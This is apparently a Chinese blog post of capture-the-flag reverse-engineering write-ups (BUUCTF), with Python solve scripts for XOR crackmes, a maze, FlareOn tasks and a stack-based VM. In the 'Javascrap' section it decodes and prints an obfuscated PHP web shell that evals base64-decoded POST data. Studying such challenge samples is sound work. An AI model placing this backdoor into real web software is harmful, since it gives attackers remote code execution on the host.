BUUCTF Re部分wp(五)

[SWPU2019]ReverseMe

32exe,拖进ida

 要求输入为32长度,

 此处进行了一次异或,值为SWPU_2019_CTF

 此处将异或处理后的数据存入另一地址,找到它下断

 继续跑,

此处又进行了第二次异或,并且又换了地址,再次找到它下断,

此处判断了数据,写脚本

a="SWPU_2019_CTF"

b="86 0C 3E CA 98 D7 AE 19 E2 77 6B A6 6A A1 77 B0 69 91 37 05 7A F9 7B 30 43 5A 4B 10 86 7D D4 28"
b=b.split()
c="B3 37 0F F8 BC BC AE 5D BA 5A 4D 86 44 97 62 D3 4F BA 24 16 0B 9F 72 1A 65 68 6D 26 BA 6B C8 67"
c=c.split()

for i in range(len(b)):
    c[i]=eval("0x"+c[i])^eval("0x"+b[i])
for i in range(len(c)):
    c[i]=c[i]^ord(a[i%len(a)])
for i in c:
    print(chr(i),end="")

[ACTF新生赛2020]Oruga

迷宫题,只有在碰到障碍时才能换方向

1111*1111111****
111**111**111111
11111111**1**111
111*1**1**1**111
111*1**1**1*1111
11**1**1111*1111
11111**1111*1111
*111111111111111
111111111111*111
111111***111*111
1111111***1111**
111*1*1*1*1111*1
11111111111111**
****1*1*1*1111*1
1*1*1*1*1*1111*1
1*1*1*1*1*#111**

WEMEWEMJWEMJW

[FlareOn1]Bob Doge

这一上我还以为要逆安装程序,结果是安装完的程序。。。

c#,dnspy打开,找到decode,在下图处下个断

  

得到flag

[FlareOn2]very_success

32exe,应该是用汇编写的

这里很有意思,这个pop把返回地址压入eax

进sub_401084,

压入的地址被作为数据进行比对,其中加法用的是adc,v10是cf的值,在这里为一

a="AF AA AD EB AE AA EC A4 BA AF AE AA 8A C0 A7 B0 BC 9A BA A5 A5 BA AF B8 9D B8 F9 AE 9D AB B4 BC B6 B3 90 9A A8"
a=a.split()
for i in range(len(a)):
    a[i]=eval("0x"+a[i])
a=a[::-1]

flag=""
c=0
for i in a:
    b=(1<<(c&0x3))
    flag+=chr((i-1-b)^0xc7)
    c+=i
print(flag)

[FlareOn1]Javascrap

这题看了半天那个html文件,结果图片才是题目。。。

图片后面有东西,提出来大概是php,(为什么是大概,因为我不会php)

'''
<?php $terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");
$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me="";
for($i=0;$i<count($order);$i++){
    $do_me=$do_me.$terms[$order[$i]];
    }
eval($do_me); ?>
'''
terms=["M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|"]
order=[59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47]
do_me=""
for i in range(len(order)):
    do_me+=terms[order[i]]
print(do_me)

得到

$_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

看着像base64,解密

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }$code=base64_decode($_);eval($code);

post里的值就是flag

[FlareOn1]Shellolololol

32exe,拖进od,程序跳到了栈里运行

程序里有好几个这样的部分,直接在数据窗口看esi指向地址的变化就能找到flag

[HDCTF2019]MFC

这题参考了https://bbs.pediy.com/thread-250802.htm

MFC,vmp壳

用xspy

有个OnMsg:0464

#include<stdio.h>
#include<windows.h>

int main(void) {
    HWND h = FindWindowA(NULL, "Flag就在控件里");
    SendMessage(h, 0x464, NULL, NULL);
    return 0;
}

 解des得到flag

[XMAN2018排位赛]easyvm

mach-o 栈虚拟机 没去符号还是比较好看的

 

 

 写脚本

op="05 01 0B 13 03 03 13 00 00 13 04 04 28 0C 00 33 14 00 20  05 09 01 11 09 00 0B 0A 09 01 04 0A 1B 05 04 0C  03 01 24 03 20 28 13 00 00 07 08 05 0E 08 E0 07  02 08 09 0A 02 01 00 0A 18 00 E0 1E 00 05 01 04  00 13 03 03 28 09 0A 02 01 00 0A 18 00 1F 20 00  03 1B 05 00 07 08 05 0E 08 E0 07 02 08 09 0A 02  01 00 0A 18 00 E0 1E 00 05 1D 05 0A 0D 0A 00 1B  05 0A 0C 03 01 24 03 1F 28 09 0A 02 01 00 0A 18  00 1F 20 00 03 0D 00 04 1B 05 00 13 03 03 03 04  0D 28 07 08 05 0E 08 E0 07 02 08 09 0A 02 01 00  0A 1B 05 00 01 00 04 0D 00 03 1D 05 0A 13 0A 00  1B 05 0A 22 04 08 0C 03 01 24 03 20 28 13 03 03  13 04 04 05 01 0C 28 05 09 01 11 09 03 0B 0A 09  01 00 0A 1B 05 00 07 08 05 0E 08 DF 09 0A 08 1D  05 00 1B 05 00 27 00 0A 17 04 07 0C 03 01 24 03  20 28 2A "
op=op.split()
for i in range(len(op)):
    op[i]=eval("0x"+op[i])

v21=0
for i in range(len(op)):
    v24 = op[v21]
    v21+=1
    v23 = v24 & 0xFE
    v22 = v24 & 1
    if v23==0:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"mov((int *)(&v25)["+str(v8)+"], (unsigned int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"mov((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==2:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"mov32((int *)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"mov32((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==4:
        if v22 == 1:
            v8 = op[v21]
            v21+=1
            v7 = op[v21]
            v21+=1
            print(str(i)+"lea_ch((&v25)["+str(v8)+"], *(&v25)["+str(v7)+"])")
    if v23==6:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"lea_int((int **)(&v25)["+str(v8)+"], (int *)*(&v25)["+str(v7)+"])")
    if v23==8:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"ldr_int((int *)(&v25)["+str(v8)+"], (int *)*(&v25)["+str(v7)+"])")
    if v23==10:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"ldr_ch((int *)(&v25)["+str(v8)+"], *(&v25)["+str(v7)+"])")
    if v23==12:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"add((int *)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"add((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==14:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"add_pint((int **)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"add_pint((int **)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==16:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"add_pch((&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"add_pch((&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==18:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"my_xor((int *)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"my_xor((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==20:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22==0:
            print(str(i)+"mod((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==22:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"my_or((int *)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"my_or((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==24:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"my_and((int *)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"my_and((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==26:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"push((int **)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            push(str(i)+"(int **)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==28:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"pop((int **)(&v25)["+str(v8)+"], (int *)(&v25)["+str(v7)+"])")
    if v23==30:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"shr((int *)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"shr((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==32:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"shl((int *)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"shl((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==34:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"ror((int *)(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"ror((int *)(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==36:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"v11 = cmpl((int)*(&v25)["+str(v8)+"], (int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"v11 = cmpl((int)*(&v25)["+str(v8)+"], "+str(v7)+")")
    if v23==38:
        v8 = op[v21]
        v21+=1
        v7 = op[v21]
        v21+=1
        if v22 == 1:
            print(str(i)+"v10 = cmpeq((unsigned int)*(&v25)["+str(v8)+"], (unsigned int)*(&v25)["+str(v7)+"])")
        else:
            print(str(i)+"v10 = cmpeq((unsigned int)*(&v25)["+str(v8)+"], "+str(v7)+")")
            
    if v23==40:
        print("loop")
        """
        if inloop==1:
            if v11==1:
                v21 = v20
            else:
                inloop = 0
        else:
            inloop = 1
            v20 = v21
        """    
    if v23==42:
        '''
        if v17==1:
          print("fail...\n")
        else:
          print("success!!\n")
        '''
        break
    
    else:
        continue

得到

0lea_ch((&v25)[1], *(&v25)[11])
1my_xor((int*)(&v25)[3], (int)*(&v25)[3])
2my_xor((int*)(&v25)[0], (int)*(&v25)[0])
3my_xor((int*)(&v25)[4], (int)*(&v25)[4])

loop                                                            //for 0 to 32:
5add((int*)(&v25)[0], 51)                                        //    a+=51%32
6mod((int*)(&v25)[0], 32)                                        //    c[i]=flag[a]
7lea_ch((&v25)[9], *(&v25)[1])                                    //    
8add_pch((&v25)[9], (int)*(&v25)[0])
9ldr_ch((int*)(&v25)[10], *(&v25)[9])
10mov((int*)(&v25)[4], (unsigned int)*(&v25)[10])
11push((int**)(&v25)[5], (int)*(&v25)[4])
12add((int*)(&v25)[3], 1)
13v11 = cmpl((int)*(&v25)[3], 32)
loop

15my_xor((int*)(&v25)[0], (int)*(&v25)[0])
16lea_int((int**)(&v25)[8], (int*)*(&v25)[5])
17add_pint((int**)(&v25)[8], 224)
18lea_int((int**)(&v25)[2], (int*)*(&v25)[8])
19ldr_int((int*)(&v25)[10], (int*)*(&v25)[2])
20mov((int*)(&v25)[0], (unsigned int)*(&v25)[10])
21my_and((int*)(&v25)[0], 224)
22shr((int*)(&v25)[0], 5)
23mov((int*)(&v25)[4], (unsigned int)*(&v25)[0])
24my_xor((int*)(&v25)[3], (int)*(&v25)[3])

loop                                                        //for 0 to 31    
26ldr_int((int*)(&v25)[10], (int*)*(&v25)[2])                //x1&0x1f<<3+x2&0xe0>>5        
27mov((int*)(&v25)[0], (unsigned int)*(&v25)[10])            //上下两段是第32个
28my_and((int*)(&v25)[0], 31)
29shl((int*)(&v25)[0], 3)
30push((int**)(&v25)[5], (int)*(&v25)[0])
31lea_int((int**)(&v25)[8], (int*)*(&v25)[5])
32add_pint((int**)(&v25)[8], 224)
33lea_int((int**)(&v25)[2], (int*)*(&v25)[8])
34ldr_int((int*)(&v25)[10], (int*)*(&v25)[2])
35mov((int*)(&v25)[0], (unsigned int)*(&v25)[10])
36my_and((int*)(&v25)[0], 224)
37shr((int*)(&v25)[0], 5)
38pop((int**)(&v25)[5], (int*)(&v25)[10])
39add((int*)(&v25)[10], (int)*(&v25)[0])
40push((int**)(&v25)[5], (int)*(&v25)[10])
41add((int*)(&v25)[3], 1)
42v11 = cmpl((int)*(&v25)[3], 31)
loop

44ldr_int((int*)(&v25)[10], (int*)*(&v25)[2])
45mov((int*)(&v25)[0], (unsigned int)*(&v25)[10])
46my_and((int*)(&v25)[0], 31)
47shl((int*)(&v25)[0], 3)
48add((int*)(&v25)[0], (int)*(&v25)[4])
49push((int**)(&v25)[5], (int)*(&v25)[0])
50my_xor((int*)(&v25)[3], (int)*(&v25)[3])
51mov32((int*)(&v25)[4], (int)*(&v25)[13])

loop                                                            //for 0 to 32
53lea_int((int**)(&v25)[8], (int*)*(&v25)[5])                    //    x^(?+i)
54add_pint((int**)(&v25)[8], 224)    
55lea_int((int**)(&v25)[2], (int*)*(&v25)[8])
56ldr_int((int*)(&v25)[10], (int*)*(&v25)[2])
57mov((int*)(&v25)[0], (unsigned int)*(&v25)[10])
58push((int**)(&v25)[5], (int)*(&v25)[0])
59mov((int*)(&v25)[0], (unsigned int)*(&v25)[4])
60add((int*)(&v25)[0], (int)*(&v25)[3])
61pop((int**)(&v25)[5], (int*)(&v25)[10])
62my_xor((int*)(&v25)[10], (int)*(&v25)[0])
63push((int**)(&v25)[5], (int)*(&v25)[10])
64ror((int*)(&v25)[4], 8)
65add((int*)(&v25)[3], 1)
66v11 = cmpl((int)*(&v25)[3], 32)
loop

68my_xor((int*)(&v25)[3], (int)*(&v25)[3])
69my_xor((int*)(&v25)[4], (int)*(&v25)[4])
70lea_ch((&v25)[1], *(&v25)[12])

loop
72lea_ch((&v25)[9], *(&v25)[1])
73add_pch((&v25)[9], (int)*(&v25)[3])
74ldr_ch((int*)(&v25)[10], *(&v25)[9])
75mov((int*)(&v25)[0], (unsigned int)*(&v25)[10])
76push((int**)(&v25)[5], (int)*(&v25)[0])
77lea_int((int**)(&v25)[8], (int*)*(&v25)[5])
78add_pint((int**)(&v25)[8], 223)
79ldr_int((int*)(&v25)[10], (int*)*(&v25)[8])
80pop((int**)(&v25)[5], (int*)(&v25)[0])
81push((int**)(&v25)[5], (int)*(&v25)[0])
82v10 = cmpeq((unsigned int)*(&v25)[0], (unsigned int)*(&v25)[10])
83my_or((int*)(&v25)[4], (int)*(&v25)[7])
84add((int*)(&v25)[3], 1)
85v11 = cmpl((int)*(&v25)[3], 32)
loop

关键加密其实就是比特流循环左移三位

cmp="75 85 D1 39 0B 29 CD 77 6D 9F 73 23 61 8B 4D 45 9D 8F 5B  11 C1 C9 E5 CF 45 E5 B1 B3 41 D9 CF CF "
v2=[0xde,0xad,0xbe,0xef]
cmp=cmp.split()

for i in range(len(cmp)):
    cmp[i]=eval("0x"+cmp[i])

f=[]
for i in range(32):
    f.append(0)
for i in range(32):
    cmp[i]=(cmp[i]^(v2[i%4]+i))

t=cmp[31]
for i in range(31):
    f[i+1]=((cmp[i+1]&0xf8)>>3)+((cmp[i]&0x7)<<5)
f[0]=((cmp[0]&0xf8)>>3)+((t&0x7)<<5)

flag=[]
a=0
for i in range(32):
    flag.append(0)
for i in range(32):
    a+=51
    a=a%32
    flag[a]=f[i]
for i in range(32):
    print(chr(flag[i]),end="")

 

posted @ 2020-06-08 21:25  Harmonica11  阅读(919)  评论(3编辑  收藏  举报